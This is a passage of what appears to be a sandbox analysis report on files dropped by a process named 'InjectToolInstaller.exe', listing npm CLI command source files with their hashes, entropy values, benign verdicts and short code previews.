Preview:	const inspect = require('util').inspect.const { URL } = require('url').const log = require('../utils/log-shim.js').const npmProfile = require('npm-profile').const qrcodeTerminal = require('qrcode-terminal').const Table = require('cli-table3')..const otplease = require('../utils/otplease.js').const pulseTillDone = require('../utils/pulse-till-done.js').const readUserInfo = require('../utils/read-user-info.js')..const qrcode = url =>. new Promise((resolve) => qrcodeTerminal.generate(url, resolve))..const knownProfileKeys = [. 'name',. 'email',. 'two-factor auth',. 'fullname',. 'homepage',. 'freenode',. 'twitter',. 'github',. 'created',. 'updated',.]..const writableProfileKeys = [. 'email',. 'password',. 'fullname',. 'homepage',. 'freenode',. 'twitter',. 'github',.]..const BaseCommand = require('../base-command.js').class Profile extends BaseCommand {. static description = 'Change settings on your registry profile'. static name = 'profile'. static usage = [. 'enabl

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\prune.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	798
Entropy (8bit):	4.7016437080365785
Encrypted:	false
SSDEEP:	12:jo3W4ZoMFtXBZOtWktyYA740/Mn8WL4FYMLsn4Asavc0YfopSR0Ub0BT:knZoMFtRZjC0/MF0yF4Asa/iopSbb0BT
MD5:	194E31C1C5E27B846407788CE8B39BC6
SHA1:	4267D0874DAB135002B110DA4214C9F5D44A5CA0
SHA-256:	DCF6BB59E00FC9CD57479BE3B25BD78F8BBF9C1FCD7D985B76ADDDAD748E0D17
SHA-512:	6F6A821F53D8B80E09A4D9A66300821762EB47F67C8BF4114AF51D697641598F400EDF8DFD7536BA5A8E6B51744C371564141D90DCB134F9E1DF11EE2374C96D
Malicious:	false
Preview:	// prune extraneous packages.const reifyFinish = require('../utils/reify-finish.js')..const ArboristWorkspaceCmd = require('../arborist-cmd.js').class Prune extends ArboristWorkspaceCmd {. static description = 'Remove extraneous packages'. static name = 'prune'. static params = [. 'omit',. 'include',. 'dry-run',. 'json',. 'foreground-scripts',. 'ignore-scripts',. ...super.params,. ].. static usage = ['[[<@scope>/]<pkg>...]'].. async exec () {. const where = this.npm.prefix. const Arborist = require('@npmcli/arborist'). const opts = {. ...this.npm.flatOptions,. path: where,. workspaces: this.workspaceNames,. }. const arb = new Arborist(opts). await arb.prune(opts). await reifyFinish(this.npm, arb). }.}.module.exports = Prune.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\publish.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6930
Entropy (8bit):	4.662029096267705
Encrypted:	false
SSDEEP:	192:TvhxHvN4cwnifscVc4K/YpCnx/n3/JHIQqGOmNQlaP:VxRw+c4RpY/JBQaP
MD5:	CEABED72A4C5820B554F1D04F30E39ED
SHA1:	54DA09E98D52FAB62EE5A0A728FB6B6A8F5508CE
SHA-256:	BDD32881598AE27E2B11C5F6CE93F5E22235E43C8B53FA454FC8A76368BDCB06
SHA-512:	BABB1AA89D1D00670220841B27120E25F66540B9A100D9A7588350B4EB1BAB912D11FC97D909A4490A9324FE442B61169B122EF75A4CEE90F151B6D258BAEF2A
Malicious:	false
Preview:	const log = require('../utils/log-shim.js').const semver = require('semver').const pack = require('libnpmpack').const libpub = require('libnpmpublish').publish.const runScript = require('@npmcli/run-script').const pacote = require('pacote').const npa = require('npm-package-arg').const npmFetch = require('npm-registry-fetch').const replaceInfo = require('../utils/replace-info.js')..const otplease = require('../utils/otplease.js').const { getContents, logTar } = require('../utils/tar.js')..// for historical reasons, publishConfig in package.json can contain ANY config.// keys that npm supports in .npmrc files and elsewhere. We may want to.// revisit this at some point, and have a minimal set that's a SemVer-major.// change that ought to get a RFC written on it..const { flatten } = require('@npmcli/config/lib/definitions').const pkgJson = require('@npmcli/package-json')..const BaseCommand = require('../base-command.js').class Publish extends BaseCommand {. static description = 'Publis

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\query.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	3451
Entropy (8bit):	4.628561362988463
Encrypted:	false
SSDEEP:	48:efXBXGcVH0KBFhI8rk5ip9wAhasv0myZzc3A7N7qOZADspxlInsBqF0HtG6Ye:sRWcVzzhI8Aipi1ki8OOVssF0NG6p
MD5:	DD393B84EAB869AD71210A200E11EC01
SHA1:	FDC2D3D6E916B2FB5B2C4926CE91DBB512D86BE3
SHA-256:	A396CA9BDE8C278C68563BE85D4349CCE44941DE9F4C3410ADDE72DAE206760F
SHA-512:	92735F614E39987C0FD580B3CA610EA2B6B276327A910D959078D936C1A7036110C5B100B8B3BA95909B87232BC79D6FCCF4AD6F5BB9A315E05BBA44BB5C56EF
Malicious:	false
Preview:	'use strict'..const { resolve } = require('path').const BaseCommand = require('../base-command.js').const log = require('../utils/log-shim.js')..class QuerySelectorItem {. constructor (node) {. // all enumerable properties from the target. Object.assign(this, node.target.package).. // append extra info. this.pkgid = node.target.pkgid. this.location = node.target.location. this.path = node.target.path. this.realpath = node.target.realpath. this.resolved = node.target.resolved. this.from = []. this.to = []. this.dev = node.target.dev. this.inBundle = node.target.inBundle. this.deduped = this.from.length > 1. this.overridden = node.overridden. this.queryContext = node.queryContext. for (const edge of node.target.edgesIn) {. this.from.push(edge.from.location). }. for (const [, edge] of node.target.edgesOut) {. if (edge.to) {. this.to.push(edge.to.location). }. }. }.}..class Query extends BaseCommand {. #respo

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\rebuild.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2207
Entropy (8bit):	4.598244520121877
Encrypted:	false
SSDEEP:	48:m+u7b74D7AM/KpRe1Nl6qrAhO4EgoHnIIYan:mR74DYpR8Nl6qrxTgcnia
MD5:	01BE9F3773BEA00F40F2E1FE00FE8388
SHA1:	0D117F9B312A3AFFF7831201E5E189DDFFBCA647
SHA-256:	462548E177DCE6BC6D6D3AA3638888551DD0A800F1CB5A8AEDE92469DF14F5C1
SHA-512:	4F0D36F25B16CA96C02B8E15C398AD706E4C2D4132AD17F9FF57F49A6C87141F2F1F95CDA01C5AD7E8FF75FAE46EBF8A08E206C86650444535AEF837D515E9FA
Malicious:	false
Preview:	const { resolve } = require('path').const npa = require('npm-package-arg').const semver = require('semver')..const ArboristWorkspaceCmd = require('../arborist-cmd.js').class Rebuild extends ArboristWorkspaceCmd {. static description = 'Rebuild a package'. static name = 'rebuild'. static params = [. 'global',. 'bin-links',. 'foreground-scripts',. 'ignore-scripts',. ...super.params,. ].. static usage = ['[<package-spec>] ...]'].. // TODO. /* istanbul ignore next */. static async completion (opts, npm) {. const completion = require('../utils/completion/installed-deep.js'). return completion(npm, opts). }.. async exec (args) {. const globalTop = resolve(this.npm.globalDir, '..'). const where = this.npm.global ? globalTop : this.npm.prefix. const Arborist = require('@npmcli/arborist'). const arb = new Arborist({. ...this.npm.flatOptions,. path: where,. // TODO when extending ReifyCmd. // workspaces: this.workspaceNames,. })..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\repo.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1272
Entropy (8bit):	4.611734068159377
Encrypted:	false
SSDEEP:	24:Ou5ikZ7jg8pXsD45XDyQRQb0BQ17DFp7jo2UmWzeyPN4FdgBBv:d53ZpX6CX2QRQYCpnNUfPKPcBv
MD5:	41A67585F6E579C24C553C57E80AFDDA
SHA1:	7EFFA8B45CEED50CDE2BF722796098B02ADF2CEF
SHA-256:	B33E61702DE36DC7A03630C1708E340D2283F2748475A83E1FDE48855EE82C81
SHA-512:	CE1BFCE0AA2E2A3D1C7863276CDD1F6E651CE6C8FE696AF28E93860095EB9C3CAAEAD6CF2BFE13D2135B0F256D3DBDA26B326850ED89C88D0327B02D4226DB4A
Malicious:	false
Preview:	const { URL } = require('url')..const PackageUrlCmd = require('../package-url-cmd.js').class Repo extends PackageUrlCmd {. static description = 'Open package repository page in the browser'. static name = 'repo'.. getUrl (spec, mani) {. const r = mani.repository. const rurl = !r ? null. : typeof r === 'string' ? r. : typeof r === 'object' && typeof r.url === 'string' ? r.url. : null.. if (!rurl) {. throw Object.assign(new Error('no repository'), {. pkgid: spec,. }). }.. const info = this.hostedFromMani(mani). const url = info ?. info.browse(mani.repository.directory) : unknownHostedUrl(rurl).. if (!url) {. throw Object.assign(new Error('no repository: could not get url'), {. pkgid: spec,. }). }. return url. }.}.module.exports = Repo..const unknownHostedUrl = url => {. try {. const {. protocol,. hostname,. pathname,. } = new URL(url).. /* istanbul ignore next - URL ctor should p

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\restart.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	310
Entropy (8bit):	4.6085153126738145
Encrypted:	false
SSDEEP:	6:5E+CV3bqUUCJrPPeS9OH2SdFBC2fSmyU0waWBw:PfUUCAN2WjC+tyURaWBw
MD5:	63AEE87B3846F2FE93E46DF440D16C6B
SHA1:	7329083A633EA7C3C8BAB8AC185B918B4FA35508
SHA-256:	02FFBB04524773CE6E30E3E1362FCEDED3D6055CF5BC93D4D17C79D9EF33813A
SHA-512:	949E3F13B2EEB0F01F7D161D7E1CB46728C08D8F6D39C13E14DD62444DC6E965D5038FA145E07E0659D4762553AE88E5B68B1A4E98F20B045928B0FD6B012F73
Malicious:	false
Preview:	const LifecycleCmd = require('../lifecycle-cmd.js')..// This ends up calling run-script(['restart', ...args]).class Restart extends LifecycleCmd {. static description = 'Restart a package'. static name = 'restart'. static params = [. 'ignore-scripts',. 'script-shell',. ].}..module.exports = Restart.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\root.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	258
Entropy (8bit):	4.590798035626429
Encrypted:	false
SSDEEP:	3:SDKkBFbUs1ToeeKWmjN9kBFwFMGF9NrMWRTaKKRMNMGFwoCBWNMGFmWD9LclHL09:SDKkZpjN9kfS9yET+SdkSmCuL0mtb0BF
MD5:	E909DD68FC24EE257583A69B8906E7B4
SHA1:	EE8DB5DA6AAC12743E6F138009AC4C03567DFEF7
SHA-256:	4582765B9C95EEFEF1C5E2AC3EE349BE53AAA8908D7B70FE4E4F11AA1825DE88
SHA-512:	EA4D371C666D2CB8DB79505BE7F32EDC3C0B1ACF2260FADB4E9BC49EA95015992F0CC8DAAA23F515BAEBDD851437E62776648F3B7FF6521FC362D3C9EFC6E6E5
Malicious:	false
Preview:	const BaseCommand = require('../base-command.js').class Root extends BaseCommand {. static description = 'Display npm root'. static name = 'root'. static params = ['global'].. async exec () {. this.npm.output(this.npm.dir). }.}.module.exports = Root.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\run-script.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6562
Entropy (8bit):	4.658026268034453
Encrypted:	false
SSDEEP:	192:IZ5jnPfPwVLFMDCyEJr+RNuxtaG3FMafSBahL:wRPfPyiDCFr+RataG3FdSGL
MD5:	686736A0F68E9D38313E0C94C42456BC
SHA1:	341BBA3170698658663AE1F282439E14AAD2793B
SHA-256:	420137BB6916F1CD969CC9F0E84CFCA476932E39B56E48723C09D3B31A375D09
SHA-512:	E6FCBA91405F2CF22FE91FBB088A675B31E5C8AED137CA56AAF86B5EE056962A6876463A101E006868B7E59CDDD71607F5144F764BACEAD6A49C3D91B0C14EC1
Malicious:	false
Preview:	const runScript = require('@npmcli/run-script').const { isServerPackage } = runScript.const pkgJson = require('@npmcli/package-json').const log = require('../utils/log-shim.js').const didYouMean = require('../utils/did-you-mean.js').const { isWindowsShell } = require('../utils/is-windows.js')..const cmdList = [. 'publish',. 'install',. 'uninstall',. 'test',. 'stop',. 'start',. 'restart',. 'version',.].reduce((l, p) => l.concat(['pre' + p, p, 'post' + p]), [])..const BaseCommand = require('../base-command.js').class RunScript extends BaseCommand {. static description = 'Run arbitrary package scripts'. static params = [. 'workspace',. 'workspaces',. 'include-workspace-root',. 'if-present',. 'ignore-scripts',. 'foreground-scripts',. 'script-shell',. ].. static name = 'run-script'. static usage = ['<command> [-- <args>]']. static workspaces = true. static ignoreImplicitWorkspace = false. static isShellout = true.. static async completion (opts, npm) {.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\sbom.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4775
Entropy (8bit):	4.8068693775416635
Encrypted:	false
SSDEEP:	96:DGiSioouoxpgANeckl6MU3gMzJOf8E7PFDuP6:iiSiooTgANeckcMU3gMzwfvxDuP6
MD5:	D594B688D675C7058639D2D27275C35B
SHA1:	EA3EB9DC1B613965475A038621705FA9E1ED5320
SHA-256:	B10B2E5E32748DEC284939888225615DEAA5F2BFD98E07BFBEE8D757925ED1D3
SHA-512:	AA4C329437A19B7DB60CAF1D8CCF09A7BDB5FDAD7C4882CB32D155AB07FC3E26A53E8C673DCC7B6D443E5E5738430F3CD8B314398994520BF8CF5E79C766D474
Malicious:	false
Preview:	'use strict'..const { EOL } = require('os').const localeCompare = require('@isaacs/string-locale-compare')('en').const BaseCommand = require('../base-command.js').const log = require('../utils/log-shim.js').const { cyclonedxOutput } = require('../utils/sbom-cyclonedx.js').const { spdxOutput } = require('../utils/sbom-spdx.js')..const SBOM_FORMATS = ['cyclonedx', 'spdx']..class SBOM extends BaseCommand {. #response = {} // response is the sbom response.. static description = 'Generate a Software Bill of Materials (SBOM)'. static name = 'sbom'. static workspaces = true.. static params = [. 'omit',. 'package-lock-only',. 'sbom-format',. 'sbom-type',. 'workspace',. 'workspaces',. ].. get #parsedResponse () {. return JSON.stringify(this.#response, null, 2). }.. async exec () {. const sbomFormat = this.npm.config.get('sbom-format'). const packageLockOnly = this.npm.config.get('package-lock-only').. if (!sbomFormat) {. /* eslint-disable-next-line ma

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\search.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2813
Entropy (8bit):	4.681427868967322
Encrypted:	false
SSDEEP:	48:4Yy72kBsTgaWDWfYSE6G86pwPjWn3ApBeL6cPNdeFaijfKCu7EuV9Q5q5h5voVWY:a2s+gfDWfYb6GPpwPjWn3OUtPNkFaiAO
MD5:	579CF9813C46850FBFB25A7E1D6AB6D8
SHA1:	91408EAF2510753D642E863D41C7E87A5C02BDB9
SHA-256:	D2AAAAE58CC5C55121D45F8C58A700CD47F0AC4732A3FF78F8CEBC0F6A63AC9D
SHA-512:	605C7593560E1EEA153514B1E798BCA8193CB80EF1C2EBAC47B19C13FDDC5206FFC412CD9FF5CD287743AD572D484D5A5209AE4C30E45698B2419B84C57401D4
Malicious:	false
Preview:	const { Minipass } = require('minipass').const Pipeline = require('minipass-pipeline').const libSearch = require('libnpmsearch').const log = require('../utils/log-shim.js')..const formatSearchStream = require('../utils/format-search-stream.js')..function filter (data, include, exclude) {. const words = [data.name]. .concat(data.maintainers.map(m => `=${m.username}`)). .concat(data.keywords \|\| []). .map(f => f && f.trim && f.trim()). .filter(f => f). .join(' '). .toLowerCase().. if (exclude.find(e => match(words, e))) {. return false. }.. return true.}..function match (words, pattern) {. if (pattern.startsWith('/')) {. if (pattern.endsWith('/')) {. pattern = pattern.slice(0, -1). }. pattern = new RegExp(pattern.slice(1)). return words.match(pattern). }. return words.indexOf(pattern) !== -1.}..const BaseCommand = require('../base-command.js').class Search extends BaseCommand {. static description = 'Search for packages'. static name = 'searc

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\set.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	674
Entropy (8bit):	4.807301831975969
Encrypted:	false
SSDEEP:	12:t5gWkZ3kfC12K+WYIXMAt/ELctRFcWfrLO4dNWpE8QGpL9tb0B7:XAbJ7XZbjcW3O80lQWb0B7
MD5:	DB12DD5A8D2CFD810FD6F7870FADF38F
SHA1:	2AC267FDA40AC9B25DF01367A4A95E9D1BF068FA
SHA-256:	62A136A8E2B999639CC30F275A573955F96E41245A457BF9F8CD67FAD3D59446
SHA-512:	012BF728CE56B11858C44E26B47D1E0794241D6D08B25473B669C9463FAC22AC4904D4D100BC93439200665EE3C5D26FB70BE1D1CE7A671C1C27C75D448B39A4
Malicious:	false
Preview:	const Npm = require('../npm.js').const BaseCommand = require('../base-command.js')..class Set extends BaseCommand {. static description = 'Set a value in the npm configuration'. static name = 'set'. static usage = ['<key>=<value> [<key>=<value> ...] (See `npm config`)']. static params = ['global', 'location']. static ignoreImplicitWorkspace = false.. // TODO. /* istanbul ignore next */. static async completion (opts) {. const Config = Npm.cmd('config'). return Config.completion(opts). }.. async exec (args) {. if (!args.length) {. throw this.usageError(). }. return this.npm.exec('config', ['set'].concat(args)). }.}.module.exports = Set.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\shrinkwrap.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2709
Entropy (8bit):	4.66837175307959
Encrypted:	false
SSDEEP:	48:HhUYUTW66zFoAKY7fIpKPWqbH3r03OyatsoVDPYub1BVDPFE+u4DP/kN/7Yq/F:BUYUTW665GiftnH70fYBnb/BFEVu/m8O
MD5:	6AA656565409025E89E8D39EC99DEAD2
SHA1:	ABF773F74E99552EF10558802C81B1155F288432
SHA-256:	EA51E05D9F260F925755EFF3675587DABE3CB7DE0A208957C3AB095B765ADBA5
SHA-512:	BE7C4DC59D46CBD4E0229E21DA0E5A04C9D03409BDD7BFA9E1E014443799086954080F91D6BB591D564E95336AC873B8B9A3B40363F32764AFAB24CE13A83EDA
Malicious:	false
Preview:	const { resolve, basename } = require('path').const { unlink } = require('fs').promises.const log = require('../utils/log-shim').const BaseCommand = require('../base-command.js').class Shrinkwrap extends BaseCommand {. static description = 'Lock down dependency versions for publication'. static name = 'shrinkwrap'. static ignoreImplicitWorkspace = false.. async exec () {. // if has a npm-shrinkwrap.json, nothing to do. // if has a package-lock.json, rename to npm-shrinkwrap.json. // if has neither, load the actual tree and save that as npm-shrinkwrap.json. //. // loadVirtual, fall back to loadActual. // rename shrinkwrap file type, and tree.meta.save(). if (this.npm.global) {. const er = new Error('`npm shrinkwrap` does not work for global packages'). er.code = 'ESHRINKWRAPGLOBAL'. throw er. }.. const Arborist = require('@npmcli/arborist'). const path = this.npm.prefix. const sw = resolve(path, 'npm-shrinkwrap.json'). const arb = n

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\star.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1911
Entropy (8bit):	4.6311200800039085
Encrypted:	false
SSDEEP:	24:N64J0xDIyD45XH0sLP5mbTKnn7aAWjV2rVLEpsQVMaHYZPQWn/1dG2reImENJuZe:N6I0xH0NibToAtZVF2o6iDEzkDY7
MD5:	999B456D1607152C4251EFD511E97611
SHA1:	5DE2ADE0926386E388D357A3BE21DBB0E47BBA8C
SHA-256:	903B61C5C52CAF90521BD3FD704F23EB3390BFB4C3C5E3538B76627126EBFD7D
SHA-512:	3FD790A0B828932EFB868E06E19C0F73F3AB8B40751ACEC6C29E72CB49B546D32D6717ADE75F2985E9F01FB5E87D8CFB58A342A5FBEFDEC1E7D4C2FBED159D8D
Malicious:	false
Preview:	const fetch = require('npm-registry-fetch').const npa = require('npm-package-arg').const log = require('../utils/log-shim').const getIdentity = require('../utils/get-identity')..const BaseCommand = require('../base-command.js').class Star extends BaseCommand {. static description = 'Mark your favorite packages'. static name = 'star'. static usage = ['[<package-spec>...]']. static params = [. 'registry',. 'unicode',. 'otp',. ].. static ignoreImplicitWorkspace = false.. async exec (args) {. if (!args.length) {. throw this.usageError(). }.. // if we're unstarring, then show an empty star image. // otherwise, show the full star image. const unicode = this.npm.config.get('unicode'). const full = unicode ? '\u2605 ' : '(*)'. const empty = unicode ? '\u2606 ' : '( )'. const show = this.name === 'star' ? full : empty.. const pkgs = args.map(npa). const username = await getIdentity(this.npm, this.npm.flatOptions).. for (const pkg of pkgs) {.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\stars.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1052
Entropy (8bit):	4.673524086005253
Encrypted:	false
SSDEEP:	24:Ni4JvU8ybPL5ZqAfTP5Xt9HCmH8kp7qEb0B+:NiIvUjLhf7599bH8O7qEYs
MD5:	8A94F5B53EC241CCFE76735AF92B2640
SHA1:	334501442669E3F87E3BCAF09B42B47F145BD868
SHA-256:	27189B8967F8D38367BCC9249BFD94D4D274E4701563F0756BD7AD0FE645F6A5
SHA-512:	6B794054A181E08155A43DD68BAADAF55C29D9138A0C91AFB86820FCC344FD520AA5B0C9DE7AEC8965FC5B26CCB7D48B62CCC02E39F03E6E3AA245C7ECB61C18
Malicious:	false
Preview:	const fetch = require('npm-registry-fetch').const log = require('../utils/log-shim').const getIdentity = require('../utils/get-identity.js')..const BaseCommand = require('../base-command.js').class Stars extends BaseCommand {. static description = 'View packages marked as favorites'. static name = 'stars'. static usage = ['[<user>]']. static params = ['registry']. static ignoreImplicitWorkspace = false.. async exec ([user]) {. try {. if (!user) {. user = await getIdentity(this.npm, this.npm.flatOptions). }.. const { rows } = await fetch.json('/-/_view/starredByUser', {. ...this.npm.flatOptions,. query: { key: `"${user}"` },. }). if (rows.length === 0) {. log.warn('stars', 'user has not starred any packages'). }.. for (const row of rows) {. this.npm.output(row.value). }. } catch (err) {. if (err.code === 'ENEEDAUTH') {. log.warn('stars', 'auth is required to look up your username'). }

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\start.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	4.6317638252363285
Encrypted:	false
SSDEEP:	6:5E+CV3bqykJrzbKPeS9ORu+c2SdCC2fSmyU0waWBUEZ:PfBZtjU2WB+tyURaWBUg
MD5:	0ACC7DDDAB2B55C7D684C2EA6D204321
SHA1:	AFFD5504E5DA00F1E5EB510185046756AC5B254B
SHA-256:	A359EB0ADC520D1710FAE732C815DFA2E78180CB335E45F0BC498D7A2BE5A934
SHA-512:	AFA417E229075C9B1DFDFBA038E5156EB3F621563B73F96B996A4DE12D8C5948F237B27161E8BA89089D8028DF83614219D772B642859E47D559260E281DED2C
Malicious:	false
Preview:	const LifecycleCmd = require('../lifecycle-cmd.js')..// This ends up calling run-script(['start', ...args]).class Start extends LifecycleCmd {. static description = 'Start a package'. static name = 'start'. static params = [. 'ignore-scripts',. 'script-shell',. ].}..module.exports = Start.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\stop.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	4.6675034461570135
Encrypted:	false
SSDEEP:	6:5E+CV3bqZRzO2yeS9ORqEc2Sd4fSmyU0waWBUKF:Pf/O2ljqEc2W4ftyURaWBUKF
MD5:	8CD94CB565FEA8A19A61F7CD462E3B93
SHA1:	9B4170AADDC27040D1F8A18B8E37213DB320CB05
SHA-256:	63F585E765090AEDEB5938DCB2FD4733C9C2BF998701D056646EF8FB2E5B6DBB
SHA-512:	4F60916EEFEDEF74255A0282C828AA2CD75F1A160E589FFBAC8022C5663F4C02A4EF24A636C4879645E1CD801C3AC3B96A4408A156422FD4474EA19B0524754E
Malicious:	false
Preview:	const LifecycleCmd = require('../lifecycle-cmd.js')..// This ends up calling run-script(['stop', ...args]).class Stop extends LifecycleCmd {. static description = 'Stop a package'. static name = 'stop'. static params = [. 'ignore-scripts',. 'script-shell',. ].}..module.exports = Stop.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\team.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4552
Entropy (8bit):	4.611443379520246
Encrypted:	false
SSDEEP:	96:DviIxUuiDlZ/XG82ryiWbG1UyX+VguE/0VCpIVcFrbV6FJbVcwx7EVOC7FMG:zi5uiDlZiWsUyX+VFE/0VCpIVcFrbV6m
MD5:	61A5453C9A2D15E03AD6A4FA765CB64E
SHA1:	5764DD51BD133E6DA09FF8706A8F97C65A422961
SHA-256:	FC48E873F108BD425D8B3FC54D6C792549B07C2DCE6B2B43F3751987504F6D7E
SHA-512:	C4C54AE97838C755AE622AF94CE5A878E8E15A16011610118F8AB8A6A5DCAB023E3FC27F924148F70C0B8364AF1F075419AE53E9FCF86E618F5D2F3CF9FAC5A9
Malicious:	false
Preview:	const columns = require('cli-columns').const libteam = require('libnpmteam')..const otplease = require('../utils/otplease.js')..const BaseCommand = require('../base-command.js').class Team extends BaseCommand {. static description = 'Manage organization teams and team memberships'. static name = 'team'. static usage = [. 'create <scope:team> [--otp <otpcode>]',. 'destroy <scope:team> [--otp <otpcode>]',. 'add <scope:team> <user> [--otp <otpcode>]',. 'rm <scope:team> <user> [--otp <otpcode>]',. 'ls <scope>\|<scope:team>',. ].. static params = [. 'registry',. 'otp',. 'parseable',. 'json',. ].. static ignoreImplicitWorkspace = false.. static async completion (opts) {. const { conf: { argv: { remain: argv } } } = opts. const subcommands = ['create', 'destroy', 'add', 'rm', 'ls'].. if (argv.length === 2) {. return subcommands. }.. if (subcommands.includes(argv[2])) {. return []. }.. throw new Error(argv[2] + ' not recognized')

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\test.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	4.614305559168352
Encrypted:	false
SSDEEP:	6:5E+CV3bqSCrnuPeS9O82SdzcSmyU0waWBAo:PfPl782WzctyURaWBAo
MD5:	4BD0F4110E50741411036983FB42EF49
SHA1:	B238F093EC84F8B994AD49E9B7E1953288DD6EE2
SHA-256:	3D40F37BCD7635FB3E7E86FD407FF8301056FDBD09916B5AB8A35A583AF049DC
SHA-512:	C73388450C6ACD9AF275A09506BB9CF642D0B2004AA91D94812B93244CF14CFB848E6599898AB60B649DBCA8B49488671CA66BC814F74D09A8214CB7F2320515
Malicious:	false
Preview:	const LifecycleCmd = require('../lifecycle-cmd.js')..// This ends up calling run-script(['test', ...args]).class Test extends LifecycleCmd {. static description = 'Test a package'. static name = 'test'. static params = [. 'ignore-scripts',. 'script-shell',. ].}..module.exports = Test.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\token.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	6808
Entropy (8bit):	4.697961092396284
Encrypted:	false
SSDEEP:	192:2eZ3/uA9ey+FBycjJWO1hgLkQ8Qh6kSU5Zh7mNWQQSJHXacQYuiQ+4:2E9kJjKzgkJuT4
MD5:	B1C61583B9D859E1C139E18021FD60B0
SHA1:	DAE6CEFDE482A2660FC8F984A4B0CEDA08EE4F6F
SHA-256:	13A6CC60F7DB0988615794C610102DF477AAAAE9A5BE9E1798622C5B51532612
SHA-512:	20C4AD2F4F62D014B2B82FFA418C06218EB0541FA1ED0F7BFE5EAD556D6D353277C23E038F312D760A287935CC09C8B05A07A771B8C6699EBAB91EB93FBFD9D8
Malicious:	false
Preview:	const Table = require('cli-table3').const { v4: isCidrV4, v6: isCidrV6 } = require('is-cidr').const log = require('../utils/log-shim.js').const profile = require('npm-profile')..const otplease = require('../utils/otplease.js').const pulseTillDone = require('../utils/pulse-till-done.js').const readUserInfo = require('../utils/read-user-info.js')..const BaseCommand = require('../base-command.js').class Token extends BaseCommand {. static description = 'Manage your authentication tokens'. static name = 'token'. static usage = ['list', 'revoke <id\|token>', 'create [--read-only] [--cidr=list]']. static params = ['read-only', 'cidr', 'registry', 'otp'].. static async completion (opts) {. const argv = opts.conf.argv.remain. const subcommands = ['list', 'revoke', 'create']. if (argv.length === 2) {. return subcommands. }.. if (subcommands.includes(argv[2])) {. return []. }.. throw new Error(argv[2] + ' not recognized'). }.. async exec (args) {. log.gaug

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\uninstall.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	4.691726011536847
Encrypted:	false
SSDEEP:	24:fpb1rZoMhRZ3BjphgHRjcW3O7xml+C//OML2+yaRbuZAsliopPb0Bl:x1uGrYHpq0+NMy+yaByAtsPYT
MD5:	66D0844ADC528B8D34D8FFE96480C359
SHA1:	8C9F51174B0A36C24CB2D52E49E4685F4EFE0277
SHA-256:	92152B75354C838C568AFC23138AE81AAE757815F8666F03412A65EB7959FC2E
SHA-512:	C462CD80310FA84D5663F13EFE41B9679C401BF42A2C02F5AF9A3CABC740B5A9572231A8882C8EB27CB3F5000C74B9817B9ED82FCC85B1B602419FAF9CE83FA9
Malicious:	false
